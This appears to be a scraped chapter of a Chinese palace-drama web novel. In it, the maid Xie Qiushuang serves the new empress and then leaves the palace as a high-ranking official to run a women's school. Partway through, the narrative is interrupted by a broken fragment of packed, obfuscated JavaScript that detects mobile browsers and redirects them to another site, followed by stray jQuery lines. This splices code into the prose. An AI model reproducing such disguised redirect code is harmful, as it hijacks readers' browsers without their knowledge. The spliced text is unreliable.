姬怀景和姬元昭十岁这年,京城里举行了一次盛大的宴会,无数烟火在天空点亮,沿街游行的套了“喜”字装饰的马车往窗外撒下一把把吉祥的花生瓜子。
京城里就连郊区的乞丐都知道,大梁要有皇后了。
原先的宜淑妃成了母仪天下的宜皇后,三皇子殿下的妃钟离曼成了曼德妃,而原先因为母家身份低微的缘故长时间止步于婕妤之位的赵瑶,也在这些年因着教导二皇子的功劳成了九嫔之首容昭仪。
剩下的九嫔之位还有武修容和严充容,值得一提的是,武修容这位置是靠她一次次在猎场上的表现赚回来的。
其他的宫妃也尽数或多或少的晋了位,只有赵香洁在宝林的位置上屹然不动,还被皇上赐了封号为“康”,成了地位最低的康宝林。
然而这只是表面上看起来而已。商人和商人也有区别,后宫谁不知道康宝林的母家从原来低贱的行商一跃成了皇商,再不比从前了。
而且几乎每位宫妃手里都有些赵氏商会买来的稀罕货,能结交才是好的,所以大家对康宝林都是极好的。
除了地位上的变化,还有后妃的关系也相比之前有了很大的不同。
凌清禾与之前把控后宫的王氏和杨氏不同,她性格温和许多,不会无缘无故的找茬,她身边那位秋霜姑姑更是公认的公平且遵守规矩。
那些之前被蛊惑针对过永宁宫的宫妃只忐忑了一段时日就放心的加入了她们的活动当中。
活动自然都是谢秋霜筹划的,前朝百废待兴,皇上鲜少踏足后宫,若是不找些事情来做,宫妃闲起来只怕是会又将水搅浑。
她在经过自家娘娘的同意之后,春夏秋冬分别增添了四种不一样的宫妃大比。春日的时候大家在琴棋书画舞里抽取一个,夏日比拼女红、煮茶之类的,秋日则是骑射、投壶。
冬日最不同,邀请几个戏班子,宫妃们喜欢哪个便给哪个赏钱,到时候赏钱最多的戏班子可以获得后宫最时兴的布匹和珍宝。
在谢秋霜的策划下,这些比拼的竞技性并不强,更多的是交流。
她带着明双和雪梨,有意无意地将后宫的气氛烘托到了一个其乐融融的状态,还请了几次盛宁长公主加入。当然,也请了盛安长公主,不过她也许是走不出之前的事情,从未答应过永宁宫的祈求。
因此,在凌清禾封后这一日,许多宫妃送来的贺礼都是真心实意的。
但是永宁宫内的宫女们却无心清点这些,因为她们要搬去坤宁宫了!
谢秋霜知道消息之后,下意识地就先要把仓库里的东西装入箱子,但是今非昔比,十几个箱子怎么装得下那么多东西?直到扩充到了一百二十抬都只堪堪搬走了大半。
这事儿只能让金公公去想办法了,那个瘦弱被抢饭吃的小金子如今脱胎换骨,成了宫里除了王公公以外权势最大的公公。
他叫来自己的徒弟明公公和海公公,另行再想吉利的数字。
谢秋霜则得了空,重新回到掖庭宫挑选人手。这次,她可要比之前放心得多。
在她的掌管之下,掖庭宫大变了样子,暗地里偷摸倒卖宫中财物的宫人或许还有,但是只要露出马脚被宫正司的人抓到,都会被捉拿下狱,按照宫规处罚。
谢秋霜还给掖庭宫的宫女、女官们加了一些比拼,也是一年四次,和宫妃们的活动时间岔开,让她有时间规划和参加。
宫人们的比拼那就是真的比拼,比拼的内容也很简单,就是谢秋霜一开始在掖庭宫学的那些个技能。若是能在今年的比拼中拿到魁首,来年就有可能被宫妃选去做事抑或是直接进入六尚局。
宫人们对有了晋升的明面渠道而喜不自胜,而那些女官们也怕自己的能耐被人比下去了而努力起来。
因此,谢秋霜这回来挑选宫人,便只需要在这些榜上有名的人里头选即可。
收整完了这一切,永宁宫里如今以扩充至十人的随侍宫女和六位大宫女便紧锣密鼓地准备这日的封后大典。
足金的凤冠戴在头上十分沉重,谢秋霜亲自为凌清禾用簪子固定在发包之上,再和香菱几人一同为她换上大红色的凤袍。
火红的凤袍上用金线缝制着凤凰的图样,香菱将褶皱捋平的时候对着那金闪闪的凤凰眼睛忍不住红了眼眶。
倒是来围观的姬怀景和姬元昭高兴极了,也将自己打扮得漂漂亮亮,要一左一右跟着父皇和母后走上高台。
也就是在这一天之后,谢秋霜才知道,原来皇后身边的凤仪女官不是正一品,而是从一品,而大梁实则从未有过正一品的女官。
可无论是正一品还是从一品,对她来说都没甚么区别。
而今连安排宫人洒扫的位置顺序以及制定倒夜香的路线和时间这些琐碎的事情,都成了她日常需要时时过问的事情。
因此,无可厚非的,她在这十年培养了几个“徒弟”。
乐山和乐水自然不必多说,如今无需用到她们双生子的特殊身份,二人便走到了明面上来,一个严谨一个活泼,只要她们不作伪装,得了讯的宫人们也会迅速将她们认出来。
另外一个则是梧桐,虽然她一开始常常害怕自己能力不足拖后腿,但事实上她是永宁宫里除了谢秋霜以外处理宫务最严谨的另一个大宫女。
就这样又过了三年,便到了谢秋霜进入后宫的第十五个年头,而今的她年纪已然将近三十出头了。
她的父亲母亲早已过了知天命的年龄,而在往来的信件寄来的消息里,她的妹妹谢秋雪也成家了。
那个在她印象里还需要人照顾的妹妹嫁给了一个书生,在三年前诞下了一个女儿。
家人有了照顾,谢秋霜的心放下,除了逢年过节送些礼物过去,她就更能全心全意地为凌清禾做事了。
所以当凌清禾的话语在她耳边响起的时候,她无疑是震惊的。
“娘娘,您要撵我走吗?秋霜愿意一直在后宫辅佐您。”谢秋霜呆呆地问道。
凌清禾摇摇头,从架子上挑出了自己最心仪的一副画卷放到桌上:“我如何会撵你走?五年复五年,你已经在宫里陪我待了三个五年了,你的青春年华尽数耗费在此,我又如何忍心?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17003335|179715||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>谢秋霜张了张嘴,但凌清禾没有给她说话的机会:“我知道你想说什么,你愿意服侍我到老,但是你的父母老了,他们也需要你的照顾。还有那些在等着你的人,我知道,你的朋友们已经有不少人出宫了,住在一起开了铺子,她们也需要你的帮忙。”
“还有那位林神医,”凌清禾笑了笑,“逃不过我的眼睛。”
谢秋霜听不进去,她有些急切地反驳:“可是娘娘,奴婢舍不得您。”
凌清禾扶着她起来,将自己刚刚拿出来的画卷展开,里头赫然是一个奇异的建筑图。
“我也不是真就放你走了,我想在京城里办一座女学。”她淡淡道,“秋霜,没有人比你更适合做这样的事情了。若女子进女学学会了东西,再成为女官进入后宫,亦或者去其他地方开个铺子谋生,像你这样的出生的女子,生活会不会更好过一些?”
谢秋霜听完眼神一亮,她只需要明白过来自家娘娘并不是想要放弃她让她走,她的脑子就很快地转动起来。
“奴婢明白了。”她点点头看着图,心情安定了下来。
凌清禾叹了口气:“两年之后,昭儿要出宫建府,她那个皮猴硬要学武,在宫外我就鞭长莫及管不得了。我将昭儿托付给你,好不好?”
“定不辱命。”她将不舍的眼泪收回去,沉声应道。
几日之内,原先她辛辛苦苦布置得十分舒适的耳房里的物件,就被一个个装进了准备好的箱笼里。那些她和凌清禾之间的秘密从此也在世间不复存在,沉入了一把火里。
香菱拉着她说了好久好久的话,红红的眼眶里尽是不舍,其他人也一个接着一个地进来和她说话。
待了这么些年,等到分别之际才发觉,居然还有那么多说不完的话想说,做不完的事想做。
等到谢秋霜出宫当日,先是与依依不舍的香菱采荷几人正式道别耽搁了一个时辰,而后又被守在宫门前的王公公叫住了。
王公公比初见之时年长了十几岁,已然是须发尽白、垂垂老矣,但肩背挺得很直,声音也是气如洪钟,格外有威严。
他点燃香烛,拿起圣旨念道:“奉天承运皇帝,诏曰:朕闻后宫女官谢氏秋霜,辅佐皇后十余年,尽心竭力,明理守法,心甚慰之。着封为正一品女官,有转圜宫内外之权,一应事宜可入宫直禀于皇后。另赐黄金百两,珍珠十槲,锦缎十匹,以显其功,钦此!”
那个先知小字预言只有一成几率能够做到的事情,她竟然真的做到了。
谢秋霜跪下谢恩之后,又从王公公手里接过这明黄色的圣旨和一个小巧的令牌,才和王公公道别,朝着乾清宫和坤宁宫的方位拜了三拜,离开了宫门。
宫门处有不少人在等着她,站在最中央的自然是许久未见的父亲母亲和妹妹妹夫,边上则是身材高挑出众的林晏之。剩下的就是侯府、吏部侍郎府的人马,还有挤在其中的尚怀菊、郁冬桃、孙茹她们。谢秋霜甚至还在人群中看到了冯娣和青兰。
她深吸了一口气,将令牌挂在腰间,正是迈出了这座遮蔽她无数次视线的朱红色宫墙。